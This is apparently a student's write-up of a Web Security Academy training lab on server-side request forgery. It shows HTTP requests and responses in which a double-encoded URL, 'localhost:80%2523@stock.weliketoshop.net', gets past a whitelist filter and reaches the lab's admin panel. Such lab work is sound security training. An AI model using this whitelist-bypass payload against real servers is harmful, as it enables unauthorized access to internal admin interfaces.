

Server Site Request Forgery Lab-04

M.Gobi Shankar

CB.SC.P2CYS23019

SSRF With Whitelist-Based Input Filter

In this lab we trying to access the admin panel against the whitelist by double encoding the username. First we are checking to access without encoding , with the error message we are encoding the username and accessing the admin.

Request		Response			
Pretty	Raw	Pretty	Raw	Hex	Render
<pre>1 POST /product/stock HTTP/2 2 Host: 0a9600cc039c538f8171254300850073.web-security-academy.net 3 Cookie: session=hQ5YGFQnrtIQb1TIxui6DK5XoRkMIW2J 4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 5 Accept: */* 6 Accept-Language: en-US,en;q=0.5 7 Accept-Encoding: gzip, deflate 8 Referer: https://0a9600cc039c538f8171254300850073.web-security-academy.net/product?productId=1 9 Content-Type: application/x-www-form-urlencoded 10 Origin: https://0a9600cc039c538f8171254300850073.web-security-academy.net 11 Content-Length: 31 12 Sec-Fetch-Dest: empty 13 Sec-Fetch-Mode: cors 14 Sec-Fetch-Site: same-origin 15 Te: trailers 16 17 stockApi=http://localhost/admin</pre>		<pre>1 HTTP/2 400 Bad Request 2 Content-Type: application/json; charset=utf-8 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 58 5 6 "External stock check host must be stock.weliketoshop.net"</pre>			

`http://localhost:80%2523@stock.weliketoshop.net/admin`

Request		Response			
Pretty	Raw	Pretty	Raw	Hex	Render
<pre>1 POST /product/stock HTTP/2 2 Host: 0a9600cc039c538f8171254300850073.web-security-academy.net 3 Cookie: session=hQ5YGFQnrtIQb1TIxui6DK5XoRkMIW2J 4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 5 Accept: */* 6 Accept-Language: en-US,en;q=0.5 7 Accept-Encoding: gzip, deflate 8 Referer: https://0a9600cc039c538f8171254300850073.web-security-academy.net/product?productId=1 9 Content-Type: application/x-www-form-urlencoded 10 Origin: https://0a9600cc039c538f8171254300850073.web-security-academy.net 11 Content-Length: 62 12 Sec-Fetch-Dest: empty 13 Sec-Fetch-Mode: cors 14 Sec-Fetch-Site: same-origin 15 Te: trailers 16 17 stockApi=http://localhost:80%2523@stock.weliketoshop.net/admin</pre>		<div>Web Security Academy SSRF with whitelist-based input filter LAB Not solved</div> <div>Back to lab description >></div> <div>Home Admin panel My account</div> <div>Users</div> <div>wiener - Delete carlos - Delete</div>			

Lab Completed Successfully.

Kali Linux [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

What is SSRF (Server-side) x Lab: SSRF with whitelisted input x SSRF with whitelisted-based input x

https://0a9600cc039c538f8171254300850073.web-security-academy.net/product?productId=1

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

Web Security Academy

SSRF with whitelist-based input filter

Back to lab description >>

LAB Solved

Congratulations, you solved the lab!

Share your skills! [Twitter](#) [LinkedIn](#) Continue learning >>

Home | My account

Couple's Umbrella

★★★★★

\$44.66

